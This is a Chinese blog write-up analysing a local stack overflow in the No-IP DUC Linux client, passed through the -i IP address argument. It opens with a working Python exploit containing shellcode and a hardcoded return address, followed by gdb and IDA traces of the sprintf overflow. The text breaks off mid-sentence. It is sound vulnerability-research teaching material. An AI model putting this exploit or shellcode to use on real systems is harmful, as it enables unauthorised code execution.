Linux漏洞分析--NOIP本地代码执行漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/3b0f5f2ff8637c73ab337be403252a60-noip-duc-linux.tar.gz

PoC:

import os
 
binary = ".ip-2.1.9-1/binariesip2-i686"
 
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"\
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"\
            "\x80\xe8\xdc\xff\xff\xff/bin/送花"
 
nop = "\x90"
nop_slide = 296 - len(shellcode)
 
# (gdb) print &IPaddress
# $2 = (<data variable, no debug info> *) 0x80573bc
eip_addr = "\xbc\x73\x05\x08"
 
print "[*] Executing %s ..." % (binary)
 
os.system("%s -i %s%s%s" % (binary, nop*nop_slide, shellcode, eip_addr))

测试环境:
Kali 2.0

No-ip是一个域名更新的软件,测试前需要注册一个账号,然后进行漏洞实验。这个仍然是一个本地代码执行,带命令传入畸形字符串,会由于栈溢出造成代码执行,跟上一个分析一样,可以采用$python -c的方法,在gdb打开之后,通过run方法,传入畸形字符串,也方便调试。


0x01 漏洞复现


此漏洞是由于对IP Address参数处理不当,导致执行sprintf的时候,超长串使ebp被覆盖,在函数结尾调用leave指令后,esp被畸形字符串的ebp覆盖,从而ret之后可以跳转到可控地址,执行shellcode,导致本地代码执行,下面对此漏洞进行详细分析。

首先我们不通过poc,而是通过命令方式来重现漏洞场景,我们使用gdb中的run指令运行程序。

gdb-peda$ run -i $(python -c 'print "\x41"*300')

程序崩溃了,到达漏洞现场。

Starting program: /root/Desktop/noip-2.1.9-1/binaries/noip2-i686 -i $(python -c 'print "\x41"*300')
IP address detected on command line.
Running in single use mode.
Recovering dead process 26701 shmem slot
IP address 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Use the NAT facility.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xb7fb6000 --> 0x1a5da8 
ECX: 0x16 
EDX: 0xb7fb786c --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff2c0 --> 0x804f100 ("IP address detected on command line.")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x804f100 ("IP address detected on command line.")
0004| 0xbffff2c4 --> 0xbffff374 --> 0xbffff4e8 ("/root/Desktop/noip-2.1.9-1/binaries/noip2-i686")
0008| 0xbffff2c8 --> 0x8053020 ("HTTP/1.1 200 OK\r\nDate: Tue, 26 Jan 2016 01:45:20 GMT\r\nServer: Apache\r\nVary: Accept-Encoding\r\nContent-Length: 2\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n:7")
0012| 0xbffff2cc --> 0x1 
0016| 0xbffff2d0 --> 0xb7fb7ce0 --> 0x8058098 ("nobody")
0020| 0xbffff2d4 --> 0x8053020 ("HTTP/1.1 200 OK\r\nDate: Tue, 26 Jan 2016 01:45:20 GMT\r\nServer: Apache\r\nVary: Accept-Encoding\r\nContent-Length: 2\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n:7")
0024| 0xbffff2d8 --> 0x0 
0028| 0xbffff2dc --> 0xb7e29a63 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

可以看到,当前指针到达41414141这个地址,证明指针可控,通过bt回溯堆栈可以看到堆栈已经被破坏掉了。

gdb-peda$ bt
#0  0x41414141 in ?? ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()

这时我们依然通过正向方法来定位漏洞形成的原因。


漏洞分析


我们来看一下gdb环境下打印的字符串。

Starting program: /root/Desktop/noip-2.1.9-1/binaries/noip2-i686 -i $(python -c 'print "\x41"*300')
IP address detected on command line.
Running in single use mode.
Recovering dead process 26701 shmem slot

可以看到打印字符串IP address detected on command line.我们通过IDA分析,可以找到这个字符串的位置。在数据段。

.rodata:0804F100 ; char aIpAddressDetec[]
.rodata:0804F100 aIpAddressDetec db 'IP address detected on command line.',0
.rodata:0804F100                                         ; DATA XREF: main+23Bo

根据aIpAddressDetec,搜索到字符串调用位置。

.text:0804993E                 cmp     ds:IPaddress, 0
.text:08049945                 jz      short loc_8049978
.text:08049947                 cmp     background, 0
.text:0804994E                 jz      short loc_8049978
.text:08049950                 mov     dword ptr [esp], offset aIpAddressDetec ; "IP address detected on command line."

我们在这里下断点,重新加载执行。

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xb7fb6000 --> 0x1a5da8 
ECX: 0xfffe 
EDX: 0xffffffff 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff2d8 --> 0x0 
ESP: 0xbffff2c0 --> 0xfffe 
EIP: 0x8049950 (<main+571>: mov    DWORD PTR [esp],0x804f100)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049945 <main+560>:    je     0x8049978 <main+611>
   0x8049947 <main+562>:    cmp    DWORD PTR ds:0x8052160,0x0
   0x804994e <main+569>:    je     0x8049978 <main+611>
=> 0x8049950 <main+571>:    mov    DWORD PTR [esp],0x804f100
   0x8049957 <main+578>:    call   0x804eaed <Msg>
   0x804995c <main+583>:    mov    DWORD PTR [esp],0x804f125
   0x8049963 <main+590>:    call   0x804eaed <Msg>
   0x8049968 <main+595>:    mov    DWORD PTR ds:0x8052160,0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0xfffe 
0004| 0xbffff2c4 --> 0xbffff374 --> 0xbffff4e7 ("/root/Desktop/noip-2.1.9-1/binaries/noip2-i686")
0008| 0xbffff2c8 --> 0x8053020 ("/root/Desktop/noip-2.1.9-1/binaries/noip2-i686")
0012| 0xbffff2cc --> 0x1 
0016| 0xbffff2d0 --> 0xb7fb7ce0 --> 0x8058098 ("nobody")
0020| 0xbffff2d4 --> 0x8053020 ("/root/Desktop/noip-2.1.9-1/binaries/noip2-i686")
0024| 0xbffff2d8 --> 0x0 
0028| 0xbffff2dc --> 0xb7e29a63 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08049950 in main ()

断点下面call Msg,应该就是打印这个字符串的调用。用n单步执行。

[-------------------------------------code-------------------------------------]
   0x8049947 <main+562>:    cmp    DWORD PTR ds:0x8052160,0x0
   0x804994e <main+569>:    je     0x8049978 <main+611>
   0x8049950 <main+571>:    mov    DWORD PTR [esp],0x804f100
=> 0x8049957 <main+578>:    call   0x804eaed <Msg>

gdb-peda$ n
IP address detected on command line.

可以看到字符串确实打印了,接下来我们继续跟踪。

[-------------------------------------code-------------------------------------]
   0x8049ae1 <main+972>:    call   0x80491d8 <shmdt@plt>
   0x8049ae6 <main+977>:    mov    DWORD PTR [ebp-0xc],0xffffffff
   0x8049aed <main+984>:    jmp    0x8049b60 <main+1099>
=> 0x8049aef <main+986>:    call   0x804bfe3 <dynamic_update>

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xb7fb6000 --> 0x1a5da8 
ECX: 0x16 
EDX: 0xb7fb786c --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff2c0 --> 0x804f100 ("IP address detected on command line.")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141

可以看到,到达dynamic_update这个函数步过之后到达漏洞现场,可以基本确认是在dynamic_update函数出现的问题,我们在这个函数下断点,接着单步步入。
可以看一下这个函数入口处的代码

push    ebp
mov     ebp, esp
sub     esp, 358h
mov     [ebp+var_18], 1
mov     eax, port_to_use;port_to_use = 2035h = 8245
mov     [esp], eax
call    Connect;
mov     [ebp+n], eax
cmp     [ebp+n], 1
jz      short loc_804C022、

并没有什么重要信息,我们继续在函数内部单步执行。Connect后到达第一处跳转。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xb7fb6000 --> 0x1a5da8 
ECX: 0xbfffef10 --> 0x0 
EDX: 0xb7fb6000 --> 0x1a5da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff2b8 --> 0xbffff2d8 --> 0x0 
ESP: 0xbfffef60 --> 0x2035 ('5 ')
EIP: 0x804c007 (<dynamic_update+36>:    je     0x804c022 <dynamic_update+63>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804bffb <dynamic_update+24>:   call   0x804ad53 <Connect>
   0x804c000 <dynamic_update+29>:   mov    DWORD PTR [ebp-0x10],eax
   0x804c003 <dynamic_update+32>:   cmp    DWORD PTR [ebp-0x10],0x1
=> 0x804c007 <dynamic_update+36>:   je     0x804c022 <dynamic_update+63>

这里没有什么特别的地方,跳转后继续单步跟踪。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xb7fb6000 --> 0x1a5da8 
ECX: 0xbfffef10 --> 0x0 
EDX: 0xb7fb6000 --> 0x1a5da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff2b8 --> 0xbffff2d8 --> 0x0 
ESP: 0xbfffef60 --> 0x2035 ('5 ')
EIP: 0x804c022 (<dynamic_update+63>:    mov    DWORD PTR [esp+0x4],0x8053020)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804c014 <dynamic_update+49>:   mov    eax,DWORD PTR [ebp-0x10]
   0x804c017 <dynamic_update+52>:   mov    DWORD PTR [ebp-0x32c],eax
   0x804c01d <dynamic_update+58>:   jmp    0x804c3e1 <dynamic_update+1022>
=> 0x804c022 <dynamic_update+63>:   mov    DWORD PTR [esp+0x4],0x8053020

到达第二处跳转,也没有什么特别的,继续跟踪。通过ida观察,可以发现到达了一处比较可以的位置。

.text:0804C022                 mov     dword ptr [esp+4], offset buffer ; int
.text:0804C02A                 mov     eax, ds:request
.text:0804C02F                 mov     [esp], eax      ; s
.text:0804C032                 call    bdecode
.text:0804C037                 mov     dword ptr [esp+8], offset IPaddress
.text:0804C03F                 mov     dword ptr [esp+4], offset aIpS ; "&ip=%s"
.text:0804C047                 lea     eax, [ebp+s]
.text:0804C04D                 mov     [esp], eax      ; s
.text:0804C050                 call    _sprintf

有一处sprintf操作,会在sprintf之前,把eax交给esp,而eax存放的是字符串s的位置。

[-------------------------------------code-------------------------------------]
   0x804c037 <dynamic_update+84>:   mov    DWORD PTR [esp+0x8],0x80573bc
   0x804c03f <dynamic_update+92>:   mov    DWORD PTR [esp+0x4],0x804fd8d
   0x804c047 <dynamic_update+100>:  lea    eax,[ebp-0x128]
=> 0x804c04d <dynamic_update+106>:  mov    DWORD PTR [esp],eax
   0x804c050 <dynamic_update+109>:  call   0x8049348 <sprintf@plt>
   0x804c055 <dynamic_update+114>:  lea    eax,[ebp-0x128]
   0x804c05b <dynamic_update+120>:  mov    DWORD PTR [esp+0x4],eax
   0x804c05f <dynamic_update+124>:  mov    DWORD PTR [esp],0x8053020
[------------------------------------stack-------------------------------------]
0000| 0xbfffef60 --> 0x8058040 ("dXNlcm5hbWU9a3Rlc2sxMjMmcGFzcz16YXF4c3cxMjMmaFtdPWt0ZXNrLmRkbnMubmV0")
0004| 0xbfffef64 --> 0x804fd8d ("&ip=%s")
0008| 0xbfffef68 --> 0x80573bc ('A' <repeats 200 times>...)

执行之后,我们可以看一下ebp的寄存器。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x130 
EBX: 0xb7fb6000 --> 0x1a5da8 
ECX: 0x0 
EDX: 0xbffff2c0 --> 0x804f100 ("IP address detected on command line.")
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff2b8 ("AAAAAAAA")

可以看到ebp的地址已经存放了AAAAAAAA,那么接下来执行的都是一些连接错误的信息,因为IP地址明显是一个错误的地址。

到达函数结束的位置。

   0x804c3e1 <dynamic_update+1022>: mov    eax,DWORD PTR [ebp-0x32c]
   0x804c3e7 <dynamic_update+1028>: leave  
=> 0x804c3e8 <dynamic_update+1029>: ret   

可以看到,最后执行了一个leave指令,这条指令会把ebp地址存放的值,交给esp而此时ebp存放的值已经被AAAAA覆盖了,从而导致了ret之后,到达

Comments
Write a Comment